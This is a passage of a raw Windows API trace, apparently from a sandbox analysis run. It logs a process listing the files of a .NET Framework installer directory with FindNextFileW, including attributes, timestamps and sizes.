	[0070.297] FindNextFileW (in: hFindFile=0x1619f39e100, lpFindFileData=0xc0000318d8 | out: lpFindFileData=0xc0000318d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1036", cAlternateFileName="")) returned 1
	[0070.297] FindNextFileW (in: hFindFile=0x1619f39e100, lpFindFileData=0xc0000318d8 | out: lpFindFileData=0xc0000318d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1037", cAlternateFileName="")) returned 1
	[0070.297] FindNextFileW (in: hFindFile=0x1619f39e100, lpFindFileData=0xc0000318d8 | out: lpFindFileData=0xc0000318d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1038", cAlternateFileName="")) returned 1
	[0070.297] FindNextFileW (in: hFindFile=0x1619f39e100, lpFindFileData=0xc0000318d8 | out: lpFindFileData=0xc0000318d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1040", cAlternateFileName="")) returned 1
	[0070.297] FindNextFileW (in: hFindFile=0x1619f39e100, lpFindFileData=0xc0000318d8 | out: lpFindFileData=0xc0000318d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1041", cAlternateFileName="")) returned 1
	[0070.297] FindNextFileW (in: hFindFile=0x1619f39e100, lpFindFileData=0xc0000318d8 | out: lpFindFileData=0xc0000318d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1042", cAlternateFileName="")) returned 1
	[0070.297] FindNextFileW (in: hFindFile=0x1619f39e100, lpFindFileData=0xc0000318d8 | out: lpFindFileData=0xc0000318d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1043", cAlternateFileName="")) returned 1
	[0070.297] FindNextFileW (in: hFindFile=0x1619f39e100, lpFindFileData=0xc0000318d8 | out: lpFindFileData=0xc0000318d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1044", cAlternateFileName="")) returned 1
	[0070.297] FindNextFileW (in: hFindFile=0x1619f39e100, lpFindFileData=0xc0000318d8 | out: lpFindFileData=0xc0000318d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1045", cAlternateFileName="")) returned 1
	[0070.297] FindNextFileW (in: hFindFile=0x1619f39e100, lpFindFileData=0xc0000318d8 | out: lpFindFileData=0xc0000318d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1046", cAlternateFileName="")) returned 1
	[0070.297] FindNextFileW (in: hFindFile=0x1619f39e100, lpFindFileData=0xc0000318d8 | out: lpFindFileData=0xc0000318d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1049", cAlternateFileName="")) returned 1
	[0070.297] FindNextFileW (in: hFindFile=0x1619f39e100, lpFindFileData=0xc0000318d8 | out: lpFindFileData=0xc0000318d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1053", cAlternateFileName="")) returned 1
	[0070.297] FindNextFileW (in: hFindFile=0x1619f39e100, lpFindFileData=0xc0000318d8 | out: lpFindFileData=0xc0000318d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1055", cAlternateFileName="")) returned 1
	[0070.297] FindNextFileW (in: hFindFile=0x1619f39e100, lpFindFileData=0xc0000318d8 | out: lpFindFileData=0xc0000318d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="2052", cAlternateFileName="")) returned 1
	[0070.297] FindNextFileW (in: hFindFile=0x1619f39e100, lpFindFileData=0xc0000318d8 | out: lpFindFileData=0xc0000318d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="2070", cAlternateFileName="")) returned 1
	[0070.297] FindNextFileW (in: hFindFile=0x1619f39e100, lpFindFileData=0xc0000318d8 | out: lpFindFileData=0xc0000318d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="3076", cAlternateFileName="")) returned 1
	[0070.297] FindNextFileW (in: hFindFile=0x1619f39e100, lpFindFileData=0xc0000318d8 | out: lpFindFileData=0xc0000318d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="3082", cAlternateFileName="")) returned 1
	[0070.298] FindNextFileW (in: hFindFile=0x1619f39e100, lpFindFileData=0xc0000318d8 | out: lpFindFileData=0xc0000318d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf3768b28, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf378ed8a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Client", cAlternateFileName="")) returned 1
	[0070.298] FindNextFileW (in: hFindFile=0x1619f39e100, lpFindFileData=0xc0000318d8 | out: lpFindFileData=0xc0000318d8*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbc518d00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbc518d00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbc518d00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x3ef6, dwReserved0=0x0, dwReserved1=0x0, cFileName="DHtmlHeader.html", cAlternateFileName="DHTMLH~1.HTM")) returned 1
	[0070.298] FindNextFileW (in: hFindFile=0x1619f39e100, lpFindFileData=0xc0000318d8 | out: lpFindFileData=0xc0000318d8*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xce333000, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xce333000, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xce333000, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x159d5, dwReserved0=0x0, dwReserved1=0x0, cFileName="DisplayIcon.ico", cAlternateFileName="DISPLA~1.ICO")) returned 1
	[0070.298] FindNextFileW (in: hFindFile=0x1619f39e100, lpFindFileData=0xc0000318d8 | out: lpFindFileData=0xc0000318d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf378ed8a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf378ed8a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Extended", cAlternateFileName="")) returned 1
	[0070.298] FindNextFileW (in: hFindFile=0x1619f39e100, lpFindFileData=0xc0000318d8 | out: lpFindFileData=0xc0000318d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf36f6419, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf371c69a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf371c69a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Graphics", cAlternateFileName="")) returned 1
	[0070.298] FindNextFileW (in: hFindFile=0x1619f39e100, lpFindFileData=0xc0000318d8 | out: lpFindFileData=0xc0000318d8*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x87910600, ftCreationTime.dwHighDateTime=0x1ca2a27, ftLastAccessTime.dwLowDateTime=0x87910600, ftLastAccessTime.dwHighDateTime=0x1ca2a27, ftLastWriteTime.dwLowDateTime=0x87910600, ftLastWriteTime.dwHighDateTime=0x1ca2a27, nFileSizeHigh=0x0, nFileSizeLow=0xe2c, dwReserved0=0x0, dwReserved1=0x0, cFileName="header.bmp", cAlternateFileName="")) returned 1
	[0070.298] FindNextFileW (in: hFindFile=0x1619f39e100, lpFindFileData=0xc0000318d8 | out: lpFindFileData=0xc0000318d8*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x66ea7e00, ftCreationTime.dwHighDateTime=0x1cac6e3, ftLastAccessTime.dwLowDateTime=0x66ea7e00, ftLastAccessTime.dwHighDateTime=0x1cac6e3, ftLastWriteTime.dwLowDateTime=0x66ea7e00, ftLastWriteTime.dwHighDateTime=0x1cac6e3, nFileSizeHigh=0x0, nFileSizeLow=0xad1384b, dwReserved0=0x0, dwReserved1=0x0, cFileName="netfx_Core.mzz", cAlternateFileName="NETFX_~1.MZZ")) returned 1
	[0070.298] FindNextFileW (in: hFindFile=0x1619f39e100, lpFindFileData=0xc0000318d8 | out: lpFindFileData=0xc0000318d8*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xc183da00, ftCreationTime.dwHighDateTime=0x1cac6e3, ftLastAccessTime.dwLowDateTime=0xc183da00, ftLastAccessTime.dwHighDateTime=0x1cac6e3, ftLastWriteTime.dwLowDateTime=0xc183da00, ftLastWriteTime.dwHighDateTime=0x1cac6e3, nFileSizeHigh=0x0, nFileSizeLow=0x1d0200, dwReserved0=0x0, dwReserved1=0x0, cFileName="netfx_Core_x64.msi", cAlternateFileName="NETFX_~1.MSI")) returned 1
	[0070.298] FindNextFileW (in: hFindFile=0x1619f39e100, lpFindFileData=0xc0000318d8 | out: lpFindFileData=0xc0000318d8*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x4c130c00, ftCreationTime.dwHighDateTime=0x1cac6d9, ftLastAccessTime.dwLowDateTime=0x4c130c00, ftLastAccessTime.dwHighDateTime=0x1cac6d9, ftLastWriteTime.dwLowDateTime=0x4c130c00, ftLastWriteTime.dwHighDateTime=0x1cac6d9, nFileSizeHigh=0x0, nFileSizeLow=0x11c000, dwReserved0=0x0, dwReserved1=0x0, cFileName="netfx_Core_x86.msi", cAlternateFileName="NETFX_~2.MSI")) returned 1
	[0070.298] FindNextFileW (in: hFindFile=0x1619f39e100, lpFindFileData=0xc0000318d8 | out: lpFindFileData=0xc0000318d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf74cd515, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf74cd515, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf7cd9415, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x29222c7, dwReserved0=0x0, dwReserved1=0x0, cFileName="netfx_Extended.mzz", cAlternateFileName="NETFX_~2.MZZ")) returned 1
	[0070.298] FindNextFileW (in: hFindFile=0x1619f39e100, lpFindFileData=0xc0000318d8 | out: lpFindFileData=0xc0000318d8*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x2dbe0800, ftCreationTime.dwHighDateTime=0x1cac6fb, ftLastAccessTime.dwLowDateTime=0x2dbe0800, ftLastAccessTime.dwHighDateTime=0x1cac6fb, ftLastWriteTime.dwLowDateTime=0x2dbe0800, ftLastWriteTime.dwHighDateTime=0x1cac6fb, nFileSizeHigh=0x0, nFileSizeLow=0xd5000, dwReserved0=0x0, dwReserved1=0x0, cFileName="netfx_Extended_x64.msi", cAlternateFileName="NETFX_~3.MSI")) returned 1
	[0070.298] FindNextFileW (in: hFindFile=0x1619f39e100, lpFindFileData=0xc0000318d8 | out: lpFindFileData=0xc0000318d8*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x7626f700, ftCreationTime.dwHighDateTime=0x1cac6f6, ftLastAccessTime.dwLowDateTime=0x7626f700, ftLastAccessTime.dwHighDateTime=0x1cac6f6, ftLastWriteTime.dwLowDateTime=0x7626f700, ftLastWriteTime.dwHighDateTime=0x1cac6f6, nFileSizeHigh=0x0, nFileSizeLow=0x79000, dwReserved0=0x0, dwReserved1=0x0, cFileName="netfx_Extended_x86.msi", cAlternateFileName="NETFX_~4.MSI")) returned 1
	[0070.338] VirtualAlloc (lpAddress=0xc000234000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000234000
	[0070.339] FindNextFileW (in: hFindFile=0x1619f39e100, lpFindFileData=0xc0000318d8 | out: lpFindFileData=0xc0000318d8*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x4a0f7400, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x4a0f7400, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x4a0f7400, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x426ae, dwReserved0=0x0, dwReserved1=0x0, cFileName="ParameterInfo.xml", cAlternateFileName="PARAME~1.XML")) returned 1
	[0070.339] FindNextFileW (in: hFindFile=0x1619f39e100, lpFindFileData=0xc0000318d8 | out: lpFindFileData=0xc0000318d8*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x19dedd00, ftCreationTime.dwHighDateTime=0x1ca2a1b, ftLastAccessTime.dwLowDateTime=0x19dedd00, ftLastAccessTime.dwHighDateTime=0x1ca2a1b, ftLastWriteTime.dwLowDateTime=0x19dedd00, ftLastWriteTime.dwHighDateTime=0x1ca2a1b, nFileSizeHigh=0x0, nFileSizeLow=0x2d200, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGB9RAST_x64.msi", cAlternateFileName="RGB9RA~1.MSI")) returned 1
	[0070.339] FindNextFileW (in: hFindFile=0x1619f39e100, lpFindFileData=0xc0000318d8 | out: lpFindFileData=0xc0000318d8*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x177c8300, ftCreationTime.dwHighDateTime=0x1ca2a1b, ftLastAccessTime.dwLowDateTime=0x177c8300, ftLastAccessTime.dwHighDateTime=0x1ca2a1b, ftLastWriteTime.dwLowDateTime=0x177c8300, ftLastWriteTime.dwHighDateTime=0x1ca2a1b, nFileSizeHigh=0x0, nFileSizeLow=0x17200, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGB9Rast_x86.msi", cAlternateFileName="RGB9RA~2.MSI")) returned 1
	[0070.339] FindNextFileW (in: hFindFile=0x1619f39e100, lpFindFileData=0xc0000318d8 | out: lpFindFileData=0xc0000318d8*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x13148, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.exe", cAlternateFileName="")) returned 1
	[0070.339] FindNextFileW (in: hFindFile=0x1619f39e100, lpFindFileData=0xc0000318d8 | out: lpFindFileData=0xc0000318d8*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0xc5158, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupEngine.dll", cAlternateFileName="SETUPE~1.DLL")) returned 1
	[0070.339] FindNextFileW (in: hFindFile=0x1619f39e100, lpFindFileData=0xc0000318d8 | out: lpFindFileData=0xc0000318d8*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x48150, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupUi.dll", cAlternateFileName="")) returned 1
	[0070.339] FindNextFileW (in: hFindFile=0x1619f39e100, lpFindFileData=0xc0000318d8 | out: lpFindFileData=0xc0000318d8*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5381000, ftCreationTime.dwHighDateTime=0x1ca5de3, ftLastAccessTime.dwLowDateTime=0x5381000, ftLastAccessTime.dwHighDateTime=0x1ca5de3, ftLastWriteTime.dwLowDateTime=0x5381000, ftLastWriteTime.dwHighDateTime=0x1ca5de3, nFileSizeHigh=0x0, nFileSizeLow=0x75a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupUi.xsd", cAlternateFileName="")) returned 1
	[0070.339] FindNextFileW (in: hFindFile=0x1619f39e100, lpFindFileData=0xc0000318d8 | out: lpFindFileData=0xc0000318d8*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x6519be00, ftCreationTime.dwHighDateTime=0x1cac6d5, ftLastAccessTime.dwLowDateTime=0x6519be00, ftLastAccessTime.dwHighDateTime=0x1cac6d5, ftLastWriteTime.dwLowDateTime=0x6519be00, ftLastWriteTime.dwHighDateTime=0x1cac6d5, nFileSizeHigh=0x0, nFileSizeLow=0x17758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupUtility.exe", cAlternateFileName="SETUPU~1.EXE")) returned 1
	[0070.339] FindNextFileW (in: hFindFile=0x1619f39e100, lpFindFileData=0xc0000318d8 | out: lpFindFileData=0xc0000318d8*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xce333000, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xce333000, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xce333000, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0xa078, dwReserved0=0x0, dwReserved1=0x0, cFileName="SplashScreen.bmp", cAlternateFileName="SPLASH~1.BMP")) returned 1
	[0070.339] FindNextFileW (in: hFindFile=0x1619f39e100, lpFindFileData=0xc0000318d8 | out: lpFindFileData=0xc0000318d8*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x143bc400, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0x143bc400, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0x143bc400, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x23420, dwReserved0=0x0, dwReserved1=0x0, cFileName="sqmapi.dll", cAlternateFileName="")) returned 1
	[0070.339] FindNextFileW (in: hFindFile=0x1619f39e100, lpFindFileData=0xc0000318d8 | out: lpFindFileData=0xc0000318d8*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xce333000, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xce333000, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xce333000, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x3704, dwReserved0=0x0, dwReserved1=0x0, cFileName="Strings.xml", cAlternateFileName="")) returned 1
	[0070.339] FindNextFileW (in: hFindFile=0x1619f39e100, lpFindFileData=0xc0000318d8 | out: lpFindFileData=0xc0000318d8*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x79a6a00, ftCreationTime.dwHighDateTime=0x1ca5de3, ftLastAccessTime.dwLowDateTime=0x79a6a00, ftLastAccessTime.dwHighDateTime=0x1ca5de3, ftLastWriteTime.dwLowDateTime=0x79a6a00, ftLastWriteTime.dwHighDateTime=0x1ca5de3, nFileSizeHigh=0x0, nFileSizeLow=0x97f2, dwReserved0=0x0, dwReserved1=0x0, cFileName="UiInfo.xml", cAlternateFileName="")) returned 1
	[0070.339] FindNextFileW (in: hFindFile=0x1619f39e100, lpFindFileData=0xc0000318d8 | out: lpFindFileData=0xc0000318d8*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x87910600, ftCreationTime.dwHighDateTime=0x1ca2a27, ftLastAccessTime.dwLowDateTime=0x87910600, ftLastAccessTime.dwHighDateTime=0x1ca2a27, ftLastWriteTime.dwLowDateTime=0x87910600, ftLastWriteTime.dwHighDateTime=0x1ca2a27, nFileSizeHigh=0x0, nFileSizeLow=0x19688, dwReserved0=0x0, dwReserved1=0x0, cFileName="watermark.bmp", cAlternateFileName="WATERM~1.BMP")) returned 1
	[0070.339] FindNextFileW (in: hFindFile=0x1619f39e100, lpFindFileData=0xc0000318d8 | out: lpFindFileData=0xc0000318d8*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x2120bc00, ftCreationTime.dwHighDateTime=0x1cac6c9, ftLastAccessTime.dwLowDateTime=0x2120bc00, ftLastAccessTime.dwHighDateTime=0x1cac6c9, ftLastWriteTime.dwLowDateTime=0x2120bc00, ftLastWriteTime.dwHighDateTime=0x1cac6c9, nFileSizeHigh=0x0, nFileSizeLow=0x4f5113, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows6.0-KB956250-v6001-x64.msu", cAlternateFileName="WINDOW~1.MSU")) returned 1
	[0070.339] FindNextFileW (in: hFindFile=0x1619f39e100, lpFindFileData=0xc0000318d8 | out: lpFindFileData=0xc0000318d8*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x1bbe7400, ftCreationTime.dwHighDateTime=0x1cac6bf, ftLastAccessTime.dwLowDateTime=0x1bbe7400, ftLastAccessTime.dwHighDateTime=0x1cac6bf, ftLastWriteTime.dwLowDateTime=0x1bbe7400, ftLastWriteTime.dwHighDateTime=0x1cac6bf, nFileSizeHigh=0x0, nFileSizeLow=0x217520, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows6.0-KB956250-v6001-x86.msu", cAlternateFileName="WINDOW~2.MSU")) returned 1
	[0070.339] FindNextFileW (in: hFindFile=0x1619f39e100, lpFindFileData=0xc0000318d8 | out: lpFindFileData=0xc0000318d8*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5b8e5700, ftCreationTime.dwHighDateTime=0x1cac6d1, ftLastAccessTime.dwLowDateTime=0x5b8e5700, ftLastAccessTime.dwHighDateTime=0x1cac6d1, ftLastWriteTime.dwLowDateTime=0x5b8e5700, ftLastWriteTime.dwHighDateTime=0x1cac6d1, nFileSizeHigh=0x0, nFileSizeLow=0x4db1ce, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows6.1-KB958488-v6001-x64.msu", cAlternateFileName="WINDOW~3.MSU")) returned 1
